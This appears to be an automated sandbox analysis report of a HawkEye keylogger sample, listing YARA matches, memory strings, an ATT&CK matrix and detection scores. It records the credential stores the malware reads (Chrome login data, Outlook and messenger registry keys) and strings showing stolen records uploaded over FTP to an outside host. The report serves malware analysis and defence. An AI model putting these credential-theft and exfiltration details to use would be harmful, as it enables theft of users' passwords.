Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 22_2_0041604B GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_0040724C memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_00406278 GetVersionExA,

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: InstallUtil.exe, 00000010.00000002.499681826.00000000077C0000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information:

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.30ab2a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FukQGQj7cl.exe PID: 4792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Yara detected MailPassView

Show sources

Source: Yara match	File source: 21.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.4089930.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.478476a.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.4089930.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.45fa72.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.358708597.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FukQGQj7cl.exe PID: 4792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 6860, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Dynamic Salt

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, PopPassword
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, SMTPPassword
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: ESMTPPassword

Yara detected WebBrowserPassView password recovery tool

Show sources

Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4acafa7.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.409c0d.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c2477.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472e905.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.4089930.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.40a1b50.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.40a1b50.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FukQGQj7cl.exe PID: 4792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Remote Access Functionality:

Detected HawkEye Rat

Show sources

Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	String found in binary or memory: \pidloc.txt!HawkEyeKeylogger
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	String found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger \| Execution Confirmed \|
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	String found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger \| Stealer Records \|
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	String found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_
Source: InstallUtil.exe, 00000010.00000002.486099792.0000000001285000.00000004.00000020.sdmp	String found in binary or memory: /HawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txt
Source: InstallUtil.exe, 00000010.00000002.494142383.0000000003476000.00000004.00000001.sdmp	String found in binary or memory: lAHawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txt
Source: InstallUtil.exe, 00000010.00000002.494142383.0000000003476000.00000004.00000001.sdmp	String found in binary or memory: l\ftp://ftp.badonfashoin.com/HawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txt
Source: InstallUtil.exe, 00000010.00000002.494142383.0000000003476000.00000004.00000001.sdmp	String found in binary or memory: ftp://ftp.badonfashoin.com/HawkEye_Keylogger_Stealer_Records_632922%208.10.2021%204:55:54%20PM.txt
Source: InstallUtil.exe, 00000010.00000002.494142383.0000000003476000.00000004.00000001.sdmp	String found in binary or memory: lbftp://ftp.badonfashoin.com/HawkEye_Keylogger_Stealer_Records_632922%208.10.2021%204:55:54%20PM.txt
Source: InstallUtil.exe, 00000010.00000002.494199612.0000000003484000.00000004.00000001.sdmp	String found in binary or memory: lAHawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txtP
Source: InstallUtil.exe, 00000010.00000002.494199612.0000000003484000.00000004.00000001.sdmp	String found in binary or memory: lHSTOR HawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txt
Source: InstallUtil.exe, 00000010.00000002.494199612.0000000003484000.00000004.00000001.sdmp	String found in binary or memory: STOR HawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txt
Source: InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: HawkEyeKeylogger
Source: InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: l&HawkEye_Keylogger_Execution_Confirmed_
Source: InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: l"HawkEye_Keylogger_Stealer_Records_
Source: InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: \pidloc.txt!HawkEyeKeylogger
Source: InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger \| Execution Confirmed \|
Source: InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger \| Stealer Records \|
Source: InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.30ab2a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FukQGQj7cl.exe PID: 4792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Replication Through Removable Media1	Windows Management Instrumentation1	Application Shimming1	Application Shimming1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery1	Replication Through Removable Media1	Archive Collected Data1	Exfiltration Over Alternative Protocol1	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Process Injection312	Deobfuscate/Decode Files or Information1	Input Capture1	Peripheral Device Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Shared Modules1	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Credentials in Registry2	Account Discovery1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	Credentials In Files1	File and Directory Discovery1	Distributed Component Object Model	Input Capture1	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	System Information Discovery18	SSH	Clipboard Data1	Data Transfer Size Limits	Application Layer Protocol12	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion21	Cached Domain Credentials	Query Registry1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection312	DCSync	Security Software Discovery31	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Hidden Files and Directories2	Proc Filesystem	Virtualization/Sandbox Evasion21	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Process Discovery4	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Application Window Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	System Owner/User Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Rename System Utilities	Keylogging	Remote System Discovery1	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
FukQGQj7cl.exe	46%	Virustotal		Browse
FukQGQj7cl.exe	36%	ReversingLabs	Win32.Trojan.Sabsik
FukQGQj7cl.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\InstallUtil.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\InstallUtil.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
16.2.InstallUtil.exe.400000.0.unpack	100%	Avira	TR/AD.MExecute.lzrac	Download File
16.2.InstallUtil.exe.400000.0.unpack	100%	Avira	SPR/Tool.MailPassView.473	Download File
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	100%	Avira	TR/Inject.vcoldi	Download File
22.2.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	100%	Avira	TR/Inject.vcoldi	Download File

Domains

Source	Detection	Scanner	Label	Link
ftp.badonfashoin.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://ns.adobe.cobj2A	0%	Avira URL Cloud	safe
http://crl.pki.goog/gsr1/gsr1.crl0;	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://crls.pki.goog/gts1c3/moVDfISia2k.crl0	0%	Avira URL Cloud	safe
